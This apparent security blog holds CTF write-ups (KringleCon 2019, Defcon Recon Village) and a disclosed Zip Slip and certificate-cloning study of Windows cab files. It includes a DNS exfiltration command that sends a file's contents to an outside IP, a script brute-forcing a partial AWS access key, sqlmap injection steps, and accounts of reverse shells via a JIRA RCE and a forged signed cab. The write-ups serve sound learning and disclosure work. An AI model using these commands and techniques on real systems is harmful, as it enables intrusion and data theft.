Sunday, March 22, 2020

Monday, January 13, 2020

SANS Holiday Hack Challenge: KringleCon 2019

This was the first year I participated in Kringlecon, and I was really impressed with how well made it was. With a variety of challenges exploring different aspects of information security, both in the realm of penetration testing and blue team techniques, and a range of difficulties, it made for a CTF event that was accessible to all. Paired with really great resources and materials for each challenge, the whole event was excellent.



Originally due to the bustle of the holidays and closing out the year, I didn't plan on participating, but a friend asked for some help on one of the challenges, and after that I couldn't stop--I was hooked and had to keep solving.

While this blog entry doesn't contain a full write-up of all the great challenges, this is only a few of the more complicated ones which I enjoyed the most.

Objective 8 - Machines can also learn to be an Elf - Machine Learning to Bypass a CAPTCHA


I loved this challenge as it taught me something genuinely new as my knowledge about machine learning was extremely limited.

We need to submit our entry for the chance to win some free cookies, but we are presented with a CAPTCHA that asks to identify three different kind of items in a time frame of 5 seconds, which, is not humanly possible.



Enter machine learning and TensorFlow! The following resources were provided to give a bit of knowledge on this topic: 


Additionally, the challenge gives us an archive of 12,000 images, separated into categories of the different types of images, as well as a Python-based script to get us started. All the tools and necessary things are provided, it's just up to us to perform the machine training and code up the logic to handle everything to bypass the actual CAPTCHA.

First, we need to use the "retrain.py" script included in the Github repo to train the machine to recognize each of the different categories of images. To do this, we just point the script to the directory that contains all 12,000 images and let it run. Output will look similar to the following:



Next, I modified some of the code in the repo so I could just import it as a library, and then added and modified code in the half-completed script that was provided, which will quickly save all the CAPTCHA images generated to a directory, and then calls the library to analyze and predict what each image should be.

Poketrainer.py


capteha_api.py


All of the UUIDs of the predicted images are stored in a list and then submitted as a POST request for the CAPTCHA solution. Naturally, I could have likely made major improvements to this script to enhance the speed I suppose, but this ended up working nicely. 


An email is sent to the address you add to the script which gives the flag:


Objective 9 - Sleighing the DB Blind  - SQL Injection to Retrieve the Datas



Based on the objective text, it's quite obvious SQL injection is going to be the key here. We're presented with a web page that contains a form to submit university applications.



However, looking at the requests that take place, before every request is made to the backend, the "validator.php" file is called and a unique time-based token is generated which must be used immediately. Due to this, we need to ensure that this is generated and placed into our SQL injection payload so the request is processed.





There are two ways to do this: using a custom sqlmap tamper script or by using Burp Suite macros. I decided to just let Burp handle everything, but in either case, we are going to let sqlmap do all the heavy lifting after all is said and done.

First, I confirmed that SQL injection was possible by sending some apostrophes in the form data.





This error shows us that input placed into the name field is not sanitized and used as-is, which means we can insert arbitrary SQL queries. Now we just need to set up a Burp macro and session handling rule so we can process this through sqlmap. This is accomplished via the following steps:

Project options > Sessions tab  > Macros > Add

From within the Macro Editor, the request to validator.php can be selected from the proxy history.


The Configure Item option can then be selected, and a custom parameter can be defined.


Back in the Sessions tab under Session Handling Rules, a new rule can be added, and the rule can be set to run the macro that was just created.


The options when selecting the macro should look like the following:


The scope of this rule can then be modified to include the proxy.



Now all that needs to be done is to point sqlmap to the Burp proxy, and the token generation will be handled automagically allowing for our sqlmap payloads to get through.



Allowing this to run, we can dump the entire database and we discover the "krampus" table which contained various "path" values indicating PNG images.




Browsing to these PNGs gives the answer to the objective: Super Sled-o-matic









Objective 10 - Elfscrow Inside and Out: Reversing and Crypto




The objective provides a Windows binary, a PDB file, and an encrypted PDF file. The goal is to analyze the binary and determine how to break the cryptography. The following resource was given, and it was very well made to learn more on this topic:


To start off, I explored the executable by running it to determine its use.




There is an insecure mode with some text hinting at insecurities, and it appears we need an ID in order to perform the decryption. As a test, I tried to encrypt a file.



The output gives a seed value, a key, and an ID. After this, I loaded the binary and the PDB into IDA to explore what is happening. From the main function we have paths to both the encrypt and decrypt functions, and exploring the "do_decrypt" function we can see that it starts by performing an internet connection check, and reaches out to the server to try and grab it. We'll come back to this, but the more important aspect is how this file is getting encrypted.



Following the "do_encrypt" function, we can see that the seed is being generated based on the time function, which is going to grab an epoch time value based on our system time. 


Following this further to the super_secure_random, this shows us exactly how the key value is being generated. It is taking the state, which is our seed (epoch time value), multiplies it by 214013, adds 2531011, performs a bitwise shift, and then performs a bitwise AND operation. Using this, we can generate our own key if we know the seed.


Looking at other functions present, we can also see two different API calls being made. When encrypting, a call to "/api/store" is made, which will store the encryption key on the remote server.


Additionally, when decrypting, a call to "/api/retrieve" will be made, which uses the ID value in order to retrieve a stored encryption key from the server.




Capturing the traffic with Wireshark you can see that this is only storing and retrieving the key, and the ID is really not necessary at all to perform the decryption. 

As mentioned previously, the seed is being generated via an epoch time stamp. Since the objective text provides a clue that the encryption took place between a certain time, it will be possible to brute force the decryption by creating keys for that entire time range.

I decided to put together a script that would loop through the time range generating keys, and then use the binary to do the heavy lifting for the decryption; however, as seen by the output, it requires an ID not a key. My initial thought process was to use the generated key, make an API call to store it, and then it would return an ID I could use as an argument to decrypt; however, I noticed that this was generating a lot of false positives as well as other issues.

Crypto-wise, I knew it didn't really need the ID to decrypt, but there was that internet check. If the internet was not up, it would terminate the binary. To overcome this and speed up the decryption process, I decided to spin up a local Python-server listening on localhost, and modified my hosts file so any requests to the actual API would hit my server instead. The Python server would only just reflect whatever was sent to it, so it bypassed the internet check and proceeded to decrypt based on the key that was reflected back.

The following is the script used for the decryption:


Example Python server to respond to the API requests:


Running this, it takes a slight bit and there were a lot of false positive decryptions. However, setting up a monitoring script or just using the "file" command to keep an eye on things, eventually we find a valid decryption took place. Corrupted files are determined to just be "data", while our valid decryption is showing to be an actual PDF file.



Now we know that the file was encrypted on Friday, December 6, 2019 at 8:20:49 PM GMT.

Opening up the decrypted PDF, we find the answer to the objective:













Saturday, September 21, 2019

The Time I Chased a Cab (File): Zip Slip and Certificate Cloning

While doing research for a pretty large and complicated thick client assessment recently, I ended up diving down a rabbit hole involving cabinet files (.cab) as I noticed the application performing some interesting sequential functions.

In a nutshell, the application would do the following with elevated processes:
  1. Retrieve a cab file
  2. Extract the cab file
  3. Run an application-specific executable 
This blog entry will focus on two different aspects of cabinet files that aided in exploiting the above functionality to spawn a reverse shell:
  • Susceptibility to 'Zip Slip'
  • Cloning cab file certificates

What is a .cab file?

A .cab file, short for 'cabinet' file is a special archive format for Windows. They are often used for updating applications, system drivers, and other fun stuff.[1]

Hacker mentality 101: "What would happen if..."

While I had absolutely no knowledge about these files, as soon as I saw 'archive', spidey senses started to tingle and I started to wonder if cab files could be susceptible to "Zip Slip"[2]: arbitrary file writes due to archive extraction typically associated with zip files.

I did not see any explicit reports of cab files being affected by this vulnerability, so I decided to give it a shot and created a test cab file to see if this was possible.

I created a new cab file using lcab[3], which contained a valid file name as well as file that had a directory traversal as the file name.
Investigating the code of the thick client, I found that it was using a DLL called "Microsoft.Deployment.Compression DLL", which I discovered is part of the WiX Toolset by FireGiant.

Analyzing the function for extraction, I  saw that it takes the full file name and simply concatenates it with the destination path. As there is no sanitization or validation occurring, a file named with a directory traversal string (like I generated) should theoretically be extracted to the path indicated in the directory traversal.

// Microsoft.Deployment.Compression.ArchiveInfo
// Token: 0x0600002C RID: 44 RVA: 0x00002700 File Offset: 0x00001700
public void Unpack(string destDirectory, EventHandler<ArchiveProgressEventArgs> progressHandler)
{
 using (CompressionEngine compressionEngine = this.CreateCompressionEngine())
 {
  compressionEngine.Progress += progressHandler;
  compressionEngine.Unpack(new ArchiveFileStreamContext(this.FullName, destDirectory, null)
  {
   EnableOffsetOpen = true
  }, null);
 }
}

I took the code that was hypothesized to be vulnerable and created a basic C# application to perform an extraction test.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Threading.Tasks;
using Microsoft.Deployment.Compression;
using Microsoft.Deployment.Compression.Cab;


namespace CabSlip
{
    class Program
    {
        static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                Console.WriteLine("Usage: <cab file> <dst dir>");
                return;
            }
            Console.WriteLine("Cab extraction test for zip slip.");

            string fileName = args[0];
            string destination = args[1];

            Console.WriteLine("Extracting " + fileName + " to " + destination);

            new CabInfo(fileName).Unpack(destination);            
            

        }
    }
}

After running this in conjunction with my malicious cab file, I confirmed that it was indeed susceptible to Zip Slip.


Switching back to the thick client, I put some breakpoints in dnSpy so I could swap in my malicious cab file to verify that this could be replicated, and after continuing code execution--it worked--the cab file was extracted and I successfully wrote a file to C:\windows\system32.

The vulnerability in the DLL was reported to FireGiant, and it has been remediated as referenced in CVE-2019-16511.[4]

Rain falling on the parade

This was when I started to get quite excited that I might have something interesting to play with, but when I tried to have the application run through everything without any breakpoints set, my cab file was being rejected.

To my dismay, multiple protection checks were put in place to ensure the integrity of the cab file that was going to be extracted was maintained:
  • Digital signature verification
  • Certificate authority chain validation
  • CN name check on certificate
The checkpoint that hurt the most was the chain validation as this was from a X509 Windows API call that was reaching out for several confirmations that the chain was valid and the certificate was not revoked.

While Sigthief [5] exists for cloning signatures and injecting them into portable executables, no methods or tools existed for doing the same for cab files, and I wasn't ready to give up on this exploit chain just yet, so I decided it was time to explore how cab files are constructed at the byte level to see if cloning the signature was possible.

Forging Certificates 

Luckily, certificates are just appended to the end of the actual cab file data, and by reading the documentation on how cab file headers are constructed, I discovered that it was possible to clone certificates onto cab files by switching byte values in the header.

By calculating offsets to data and cloning certain special bytes from the cab file whose certificate is the target, the header can be reconstructed to fit the data of a new, malicious cab file.

Example cab file header:
While I will not go into the full nitty-gritty on each and every byte that needs to be cloned and/or modified (Feel free to read the documentation and my tool comments though for a bit more information!), the labeled portions are most of the key areas that need to be calculated or cloned from the original source cab file.

A.  Offset to certificate data
B.  Length of the file included in the archive
C.  Extra data flag, which indicates there is a certificate at the end
D.  Start of data
E.  Check sum (in most cases this can be arbitrary)
F.  Size of uncompressed and compressed data in the archive. (This has a maximum of 0x8000, and when a file is bigger than this, the file is chunked, and this value is an offset to the next chunk.)

With the above in mind, I developed the "Cab Cloning Factory" tool which allows for the cloning of cab file certificates.

Github link:
https://github.com/Keramas/CabCloningFactory

This allowed me to create a cab file with a reverse shell payload that bypassed all of the certificate protection checks mentioned in the previous section, and ultimately get a shell with elevated privileges by overwriting the executable that would subsequently be executed after the cab files extraction process completed.

Conclusion

This came about due to my stubbornness to not give up on exploiting what I found. Spending a sleepless night or two for research and development to get this going was well worth it. It was a lot of trial and error, and while the generic cloning tool is not quite 100% yet, I hope others take a look and find it useful. I am curious to see how many times I run into cab files moving forward...

With all of that said, the takeaway is that signature and certificate checks are not a panacea for ensuring data integrity, and this should be kept in mind for applications using these types of validations for protection.

References:

[1]https://en.wikipedia.org/wiki/Cabinet_(file_format)
[2]https://snyk.io/research/zip-slip-vulnerability
[3]http://manpages.ubuntu.com/manpages/bionic/man1/lcab.1.html
[4]https://www.firegiant.com/blog/2019/9/18/wix-v3.11.2-released/
[5]https://github.com/secretsquirrel/SigThief

Vulnerability disclosure timeline:

Disclosure to Firegiant for WiX Toolset - 8/23
Received reply from Firegiant - 8/23
Vulnerability remediated by FireGiant and publicized - 9/18
WiX Toolset vulnerability confirmed as CVE-2019-16511 - 9/18






Monday, August 12, 2019

Recon Village CTF @ Defcon 27

My CTF team, Neutrino Cannon, participated in the Recon Village CTF at Defcon 27 once again for the third year in a row, and as the saying goes "the third time is the charm" as we managed to finish in first place. We dedicated almost all of our time at Defcon to the CTF, and the team's unwavering focus to complete challenges locked in the victory.


There were a lot more challenges this year than in past years, and while this write-up will include most challenges, it will not be a fully inclusive list. However, the official write-up from the Recon Village team should be released in the coming days, so be sure to check that out as well.

Challenge Solutions


USA - 500 points


Opening the provided URL into a browser, the site greets us with a simple input field.


The source code revealed that the flag would be located at "/opt/flag.txt", so we knew there would be something that could be done here to allow for LFI or an injection of some sort.

We started by doing simple manual tests for, and while XSS was successful, it didn't seem like it would yield anything useful. Noticing that the page was PHP, we then moved onto trying PHP code injection to see if anything would run. This did not pan out, so we continued to fuzz this for potential issues with a Burp Collaborator server up and noticed that it was receiving hits for straight up OS command injection.


Seeing that the server was pinging the collaborator server successfully we realized we had a blind OS command injection. Unfortunately, we could not get a reverse shell, but we managed to retrieve the flag through DNS exfiltration using nslookup.

First we setup a tcpdump to monitor for DNS queries:
"tcpdump -ni eth0 udp port 53"

Then we input the following command:
"nslookup $(cat /opt/flag.txt) <IP address>"

When it makes the query we can retrieve the flag.


Turkey - 300 points


Doing a quick Nmap scan of this IP reveals that port 8080 is open and it is running JIRA.


Based on the version indicated at the page footer, there is a CVE associated with this for RCE.

References:
-https://medium.com/@ruvlol/rce-in-jira-cve-2019-11581-901b845f0f
-https://community.atlassian.com/t5/Jira-articles/CVE-2019-11581-Critical-Security-Advisory-for-Jira-Server-and/ba-p/1128241

Using this with a reverse shell payload, we are able to access the server and retrieve the flag.


(*A screencap was not taken when capturing the flag from this RCE, and unfortunately (though not confirmed for certain) we believe something was wrong with the server after a while as RCE through this method no longer worked for my team or other teams when discussing post-CTF)

Mongolia - 300 points


Based on the challenge text and the website, spidey-sense was tingling that we either needed to send hash collision strings or there would be a type juggling vulnerability.


Interestingly, however, the strings that were being sent to the server were not being processed by a normal MD5 hashing function, as the values that were being output to the screen were not matching the MD5 sum of the strings we were getting locally. We thought it could be salting it or performing multiple hashings; however, we turned to type juggling as another idea.


Changing the get request so that the parameters are empty arrays tricks the check that the strings are different, but they evaluate to be the same hash through the PHP code.


United Kingdom - 300 points


Looking at the fragment of the key in the challenge text, we realized that this was an AWS-related challenge based on the "AKIA" prologue. There are two parts required to access and query AWS: the access ID (this is the key that is missing characters) and the private key (which they graciously gave to us). Since we have the private key and the access ID is only missing two characters, we wrote a python script in conjunction with a bash script to test all possible combinations which will perform a simple query. Based on the output we could determine which characters completed the key.

Bash script to query:
https://gist.github.com/cauealvesbraz/1121c0a0375648db13b137b31ef8955d

Python wrapper script:

#!/usr/bin/python

import random
import string
from commands import *
import os
import sys

key_id = "AKIA2SR3ZZCIQ7LT5Q" #xx
a_key = "wotwpfUVRMmhkRoGPfgxd69enU6e0lnLqwnvZjtg"

lettersAndDigits = string.ascii_uppercase + string.digits
missing = list()
for i in lettersAndDigits:
    for j in lettersAndDigits:
    missing.append( i + j )

for i in missing:
    f = open("/root/.aws/credentials",'w')
    new_key_id = key_id + i
    f.write("[default]\naws_access_key_id = " + new_key_id + "\n"+"aws_secret_access_key = " + a_key + "\nregion = us-east-1\n")
    f.close()
    status, text = getstatusoutput("./key.sh " +new_key_id)
    if "InvalidClientTokenId" in text:
        print "NOT FOUND: " + new_key_id + "\n [!]RESULT: " + text + "\n\n"
    else:
        print "******FOUND******\n" + new_key_id + "\n [+]RESULT: " + text + "\n\n"
        k_f = open("key.txt","w")
        k_f.write(str(new_key_id))
        k_f.close()
        break

This resulted in the following access ID: AKIA2SR3ZZCIQ7LT5QVZ

With the valid access ID and private key, we could list the S3 buckets present and retrieved the flag.


Canada - 400 points


The challenge text reeked of Docker, and trying out a 'docker pull' on the potential repo successfully grabbed an image.


Exploring the history, there was a curl command being executed to retrieve a node_js-related file. Curling this file, we see mention of a git repo in the source code.



Browsing to this, we combed through the commit history and discovered the flag.


Belarus - 200 points


Image:

Looking closely at the image, there is faint text on the white building's wall. Zooming in on it reveals "English National Ballet".

 https://www.google.nl/maps/place/English+National+Ballet/@51.5120302,0.0062593,17z/data=!4m5!3m4!1s0x4876055b0af21cdb:0x435e69d83228ec35!8m2!3d51.5132496!4d0.0064038

The above map shows that the nearest train station is "Canning Town" which is the flag.


Ethiopia - 100 points


Using Zoomeye, we crafted a search query to locate the indicated host, and thus the flag.

"+country:"MX" +app:"WebLogic applications server" +after:"2015-01-01" +before:"2016-01-01""


Australia - 200 points



This challenge required you to be on-site at Defcon. Looking at the back of the regular Recon Village badge passed out to attendees, there was a string of binary.


Converting this to ascii we only got "https://pa". Having noticed that staff were wearing a red badge and we had a black badge, we knew we had to track one of them down to get the next part of the puzzle.

Checking out a red badge gave us more information:

"https://pastebin.com"

We immediately realized that speakers at the village had a different color badge, and after waiting for a speaker to be free after a talk, we secured the key part of the URL and retrieved the flag.


"https://pastebin.com/CQ5Bg9X7"

flag:{y0uar3g00datnetw0rking}

South Africa - 300 points


Image:

Based on the text written on the building that shows "Shakespeare's Board", we were able to locate it on the map:
https://www.google.com/maps/place/Shakespeare%27s+Head/@51.516816,-0.1218747,17z/data=!3m1!4b1!4m5!3m4!1s0x48761b350efbd81b:0x5db525154ac44772!8m2!3d51.516816!4d-0.119686

Changing the address to "70", we determined that the company was 'Mishcon de Reya'

After a bit of searching found that the "mishcon.com/people" page listed profiles of employees, and found that Lena Kearney was the Strategy Manager.

Heading to Facebook and searching for her, the present work listing matched and exploring her profile revealed the name of the catering company: "Sinclair's Catering", which was the flag.

Norway - 300 points


With some Google-fu, we suspected the student was Ben Price:
http://www.diggah.net/contact-2/

Doing a bit more...digging...we found his email to be "diggah@diggah.net". Searching with this email, we found a pastebin dump with credentials, which was the flag.

https://pastebin.com/YKMtMT6J
flag:{diggah@diggah.net:m0nkeyfun} 

Thailand - 100 points


Image:

Pretty basic steganography challenge. Exiftool reveals a steghide password:


Then using Steghide, we got the 'secrets.txt' file which contained the flag.


Romania - 200 points


We are given a zip that contains a public.pem and a secrets.zip file which is encrypted. Using the well-known RsaCtfTool (https://github.com/Ganapati/RsaCtfTool) we were able to retrieve the private key and then decrypt the zip file with 'openssl rsautl'.




Results


Feedback and Comments

The organizers did a great job as always putting on this CTF and we had a lot of fun participating again this year. You could feel their passion and devotion to creating something exciting and challenging based on the boost in challenge difficulty and volume. There are only a couple of tweaks we would recommend for improving CTFs moving forward. First, a couple of the challenges were overly vague in the description, which is understandable to create a challenge, but for certain instances a slight bit more direction as to what we are searching for would have been appreciated (looking at you Spain!). However, this may be elucidated in the official writeup. And lastly, just a bit more communication from the organizers. There were a couple of hiccups at the start where challenges did not have their attachments and teams were hunting for something completely off, and a broadcast on the gameboard or Tweet would have been appreciated. Overall it was super fun and we are looking forward to seeing what's in store next year! Thank you again!








Powered by Blogger.